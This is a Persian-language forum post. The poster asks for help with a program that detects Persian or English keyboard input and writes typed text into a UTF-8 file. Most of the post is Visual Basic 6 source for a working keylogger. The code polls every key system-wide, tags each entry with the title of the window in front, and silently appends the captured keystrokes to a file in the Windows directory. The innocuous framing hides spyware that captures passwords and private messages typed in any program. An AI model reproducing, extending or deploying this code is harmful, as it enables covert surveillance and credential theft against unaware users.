1 ضمیمه
سورس برنامه ای واسه ایجاد فایل تکست utf8 و خواندن صفحه کلید و نوشتن متن فارسی یا انگلیسی در آن
با سلام و عرض خسته نباشید خدمت همه دوستان
من میخوام برنامه ای بنویسم که در اون تشخیص انگلیسی و فارسی بودن صفحه کلید داده بشه و تمامی نوشته های تایپی فارسی و انگلیسی داخل یک فایل تکست وارد بشود و باید در ابتدا یه فایل تکست که بتونه utf8 رو پشتیبانی کنه ایجاد بشه ، البته یک نمونه را که آماده است میگذارم و اگر ممکن است تو همین فایل توضیح بدین یا اینکه یه فایل معرفی کنین یا یه آدرس که بتونه تو این زمینه کمک کنه .ممنون میشم
ضمیمه 101374
'in dastor check mikone aya shift paiin negah dashte shode ya na
Private Const VK_SHIFT = &H10
'in dastor baraye check kardane khamosh ya roshan bodane caps lock be kar mire
Private Const VK_CAPITAL = &H14
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private LastWindow As String
Dim wintxt As String
Private Sub Timer1_Timer()
Dim FoundKeys As String
Dim AddKey, KeyResult
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[Enter]" + vbCrLf
GoTo keyfound
End If
'kelide Space Ke Be Jaye inke Benevisim [Space] Yek Fazaye Khali Chap Mikonim
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[Tab]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[BackSpace]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[Delete]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[Insert]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PageUP]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PageDown]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[Home]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[End]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "}"
Else
AddKey = "]"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "{"
Else
AddKey = "["
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ":"
Else
AddKey = ";"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = """"
Else
AddKey = "'"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "<"
Else
AddKey = ","
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ">"
Else
AddKey = "."
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "?"
Else
AddKey = "/"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "|"
Else
AddKey = "\"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "+"
Else
AddKey = "="
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "_"
Else
AddKey = "-"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey = "/"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo keyfound
End If
'NUM LOCK
For o = 96 To 105
KeyResult = GetAsyncKeyState(o)
If KeyResult = -32767 Then
TypeWindow
Select Case Val(o)
Case 97
Text1 = Text1 & "1"
Case 98
Text1 = Text1 & "2"
Case 99
Text1 = Text1 & "3"
Case 100
Text1 = Text1 & "4"
Case 101
Text1 = Text1 & "5"
Case 102
Text1 = Text1 & "6"
Case 103
Text1 = Text1 & "7"
Case 104
Text1 = Text1 & "8"
Case 105
Text1 = Text1 & "9"
Case 96
Text1 = Text1 & "0"
End Select
Exit Sub
End If
Next o
'END NUM LOCK
'Alphabet
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next i
'End Alphabet
'Digits And @#$%^,...
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Select Case Val(Chr(i))
Case 1
Text1 = Text1 & "!"
Case 2
Text1 = Text1 & "@"
Case 3
Text1 = Text1 & "#"
Case 4
Text1 = Text1 & "$"
Case 5
Text1 = Text1 & "%"
Case 6
Text1 = Text1 & "^"
Case 7
Text1 = Text1 & "&"
Case 8
Text1 = Text1 & "*"
Case 9
Text1 = Text1 & "("
Case 0
Text1 = Text1 & ")"
End Select
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
Exit Sub
End If
Next i
'End Digits And @#$%^,...
Exit Sub
keyfound:
TypeWindow
Text1 = Text1 & AddKey
End Sub
Private Sub Timer2_Timer()
If Text1.Text <> "" Then
Open WinDir & "\" & "test.txt" For Append As #1
Print #1, Text1.Text
Close #1
Text1.Text = ""
End If
Timer2.Enabled = False
End Sub
Function TypeWindow()
Dim handle As Long
Dim textlen As Long
Dim WindowText As String
handle = GetForegroundWindow
LastHandle = handle
textlen = GetWindowTextLength(handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
wintxt = WindowText
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & vbCrLf & "============================================= ==" & vbCrLf & vbCrLf & WindowText & vbCrLf & vbCrLf & "============================================= ==" & vbCrLf & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Tcheckwintxt_Timer()
Dim Handle1 As Long
Dim textlen1 As Long
Dim WindowText1 As String
Dim wintxt2 As String
Handle1 = GetForegroundWindow
LastHandle1 = handle
textlen1 = GetWindowTextLength(Handle1) + 1
WindowText1 = Space(textlen1)
svar1 = GetWindowText(Handle1, WindowText1, textlen1)
WindowText1 = Left(WindowText1, Len(WindowText1) - 1)
wintxt2 = WindowText1
If wintxt2 <> wintxt Then
Timer2.Enabled = True
End If
End Sub
